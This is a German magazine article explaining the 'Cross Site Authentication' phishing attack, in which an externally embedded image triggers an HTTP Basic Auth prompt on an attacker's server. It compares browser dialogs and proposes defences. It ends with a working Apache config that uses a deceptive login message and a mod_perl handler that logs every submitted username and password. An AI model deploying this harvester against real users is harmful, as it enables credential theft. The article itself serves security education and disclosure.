Angreifer täuschen arglosen Surfer, um ihnen das Passwort zu entlocken. Eine neue Variante platziert lediglich ein Bild auf dem angegriffenen Dienst, um den Benutzer in die verführerische Falle zu locken.

Phishing-E-Mails scheinen von einer Bank oder von E-Bay zu kommen und fordern den Empfänger dazu auf, seine Zugangsdaten in eine gefälschte Login-Seite zu tippen. Darüber definiert sich Phishing: Benutzerdaten durch Täuschung ausspionieren. Das klappt auch mit Cross-Site-Skripting (XSS), dieser Angriff platziert aktiven Code auf einer fremden Seite. Der Browser führt den Code gutgläubig aus und sendet die Login-Daten an den Angreifer (siehe auch den Artikel zum sicheren Programmieren für Admins in diesem Heft).

Schotten dicht?

Um XSS zu verhindern, entfernen viele Webanwendungen aktive Inhalte aus allen Eingaben, die sie später einem Benutzer präsentieren – etwa aus Forumseinträgen, Auktionsbeschreibungen oder E-Mails. Oft akzeptieren sie aber reinen, als ungefährlich angesehenen HTML-Code. Insbesondere gestatten es viele Webanwendungen, Bilder per »<img>«-Tag einzubetten. Hier setzt die XSA-Attacke an (Cross Site Authentication). Der Angreifer muss lediglich einen beliebigen Server kontrollieren, auf dem er das Bild und etwas zusätzlichen Code ablegt. In den angegriffene Dienst fügt er das unverfängliche HTML-Tag »<img src=”http://Angreifer/bild.png”>« ein (Abbildung 1).

Das Bild liegt in einem per HTTP AUTH geschützten Bereich des Angreifer-Servers (Listing 1). Der verlangt vom Browser einen Benutzernamen und ein Passwort, bevor er die Datei ausliefert. Optional liefert er einen beschreibenden Text mit, den der Browser anzeigt, während er den Benutzer zur Passworteingabe auffordert. Im Normalfall vergleicht der Server dann die (unverschlüsselt) übermittelten Zugangsdaten mit den Einträgen seiner Benutzerdatenbank und gewährt oder verweigert den Zugriff. Bei einer XSA-Attacke speichert der Server die Daten jedoch und gestattet, um kein Misstrauen zu erwecken, den Zugriff in jedem Fall. Das ist mit ein paar Zeilen Perl-Code und Apaches Mod_perl schnell implementiert (Listing 2).

Für den Anwender ist dies kaum erkennbar: Er sieht in der Adressleiste seine Webanwendung und eventuell die teilweise aufgebaute Webseite. Dass die Passwortabfrage nicht auch von dieser Seite stammt, bemerkt er nur bei sehr genauem Hinsehen – ein argloser oder eiliger User wird wie gewohnt seine Daten eintippen und weiterarbeiten. Das Eingabefenster ist in keiner Weise gefälscht, es ist Teil des Browsers und passt daher zum Look&Feel des Systems.

Betroffen sind alle Webanwendungen, die fremdes HTML ausliefern oder auf fremden Servern gespeicherte Bilder einbetten, etwa Webforen, Webmail, Auktionshäuser, Wikis und Ähnliches. Verlangt die Anwendung selbst HTTP-Authentifizierung, stehen die Chancen für den Angreifer am besten. Wenn er Glück hat, verwechselt der Anwender den Dialog sogar mit einem lokalen Login und tippt seine Linux-Benutzerkennung ein.

Bildersturm

Eine vor XSA geschützte Webanwendung darf in den eigenen Seiten auf keine fremde Bilder verweisen. Im einfachsten Fall meidet sie fremde Bilder und fremden HTML-Code. Wo das nicht möglich ist, könnte der Anbieter die Bilder auf den eigenen Server kopieren. Das hat jedoch rechtliche Folgen und gestattet Crackern zudem das Ressourcen-schonende Verteilen raubkopierter Dateien. Auch ist es technisch nicht trivial, fremden HTML-Code auf Bilder zu überprüfen und passend zu ändern.

Eine Variante wäre, die Verknüpfungen auf fremde Bilder so umzuschreiben, dass die Anfrage an den eigenen Server geht und dieser als Proxy agiert. Beides ist bei kleinen Anwendungen wie privaten Webforen problematisch, wenn dadurch die zu bezahlenden Datenmengen übermäßig steigen.

Abbildung 1: Dass der Browser mit mehreren Servern spricht, bleibt vielen Anwendern verborgen. Das nutzt der XSA-Angriff und verlangt eine Authentifizierung für ein extern eingebundenes Bild. Username und Passwort gehen zum zweiten Server.

Sinnvoller ist es, die Webbrowser anzupassen. Sie lassen bisher recht unterschiedlich erkennen, dass der Benutzer sich auf digitalen Abwegen befindet. Zwar zeigen alle Browser neben der vom Server frei wählbaren und damit gefährlichen Beschreibung auch den Servernamen, allerdings verstecken sie die Information teils sehr gut.

Am schlechtesten schneidet der Internet Explorer ab (Abbildung 2a): Der Domainname steht praktisch unbeachtet in der Titelleiste des Dialogs. Wenig besser bei Mozilla (Abbildung 2b), Firefox und Galeon, die den Domainnamen auf eine Zeile hinter der Beschreibung setzen. Bevor Benutzer aber so weit lesen, haben die meisten bereits in die Tasten gegriffen und ihre Daten abgeschickt. Zudem kann der Beschreibungstext sie gezielt in die Irre führen.

Abbildung 2a: Beim Internet Explorer ist der Angriff kaum erkennbar. Nur die Titelleiste nennt den Server.

Abbildung 2b: Mozilla (und seine Abkömmlinge) machen es kaum besser. Wer in Eile ist, übersieht den Domainnamen am Ende des Erklärungstextes leicht.

Maier und Meyer

Am besten gefällt der übersichtliche Dialog von Opera (Abbildung 2c). Er zeigt den Servernamen an erster Stelle. Hier muss sich der Angreifer mehr Mühe geben und einen zur angegriffenen Seite passenden Servernamen wählen. Statt »my.webmail.de« etwa »my.webmai1.de« oder »my.webmail.loginserver.net«. Das würde immer noch eine große Zahl von Benutzern verführen.

Um den Anwender besser vor XSA zu schützen, muss der Browser den Angriff erkennen und deutlich warnen. Wenn ein eingebettetes Element HTTP-Authentifikation verlangt, obwohl es von einer anderen Domain stammt als die einbettende Webseite, sollte der Browserdialog deutlich darauf hinweisen: “Achtung! Sie befinden sich gerade auf my.webmail.de. Ein Element dieser Seite, das auf boeser-mensch.de gespeichert ist, verlangt eine Authentifizierung. Geben sie nur Zugangsdaten ein, die für boeser-mensch.de bestimmt sind!” Alternativ könnte der Browser solche Authentifizierungsanfragen direkt ignorieren – womit er aber Funktionalität verliert, die in Spezialfällen vielleicht nötig und sinnvoll ist.

Abbildung 2c: Musterknabe Opera: Im übersichtlichen Dialog steht der Domainname an erster Stelle. Angreifer müssten auf Verwechslung mit ähnlich lautenden Domänen hoffen.

Misstrauen ist gesund

Die XSA-Attacke spielt ohne großen technischen Aufwand fremde Benutzerdaten in die Fänge von Angreifern. Besonders gefährdet sind kleine Webanwendungen wie Foren, die auf die aufwändigen Server-seitigen Schutzmaßnahmen verzichten müssen. Der Angriff ist auch nicht auf das Web beschränkt: Eine entsprechend gestaltete HTML-E-Mail könnte – je nach Mailclient – dem Benutzer seine Zugangsdaten abluchsen.

Es ist vor allem Aufgabe der Browser-Entwickler, durch deutliche Warnungen solche Angriffe zu vereiteln. Bis alle Anwender einen entsprechend aufgerüsteten Browser benutzen, helfern nur erhöhte Aufmerksamkeit und ein gesundes Grundmisstrauen. Wer eine XSA-Attacke live erleben will, nutzt zum Beispiel die Demonstrationsseite [1] des Autors. Aber bitte keine wichtigen Passwörter eingeben: Die Datei mit den gespeicherten Werten ist öffentlich lesbar. (fjl)

01 AuthType Basic
02 AuthName "Server wurden neu gestartet, bitte erneut einloggen"
03 PerlAuthenHandler Apache::AuthLog
04 require valid-user
05 PerlSetVar Authlogfile Pfad/xsa-test/auth.log

01 #/usr/local/share/perl/5.8.4/Apache/AuthLog.pm
02 package Apache::AuthLog;
03 use Apache::Constants qw(:common);
04 
05 sub handler {
06   my $r = shift;
07   my($res, $sent_pw) = $r->get_basic_auth_pw;
08   return $res if $res != OK;
09 
10   my $user = $r->connection->user;
11   unless($user and $sent_pw) {
12     $r->note_basic_auth_failure;
13     $r->log_reason("Brauche Username
14       und Passwort", $r->filename);
15     return AUTH_REQUIRED;
16   }
17 
18   open LOG,'>>',$r->dir_config("Authlogfile");
19   printf LOG "%s running %s: %s / %sn",
20     $r->connection->remote_ip,
21     $r->header_in('User-Agent'),
22     $user, $sent_pw;
23   close LOG;
24   return OK;
25 }
26 1;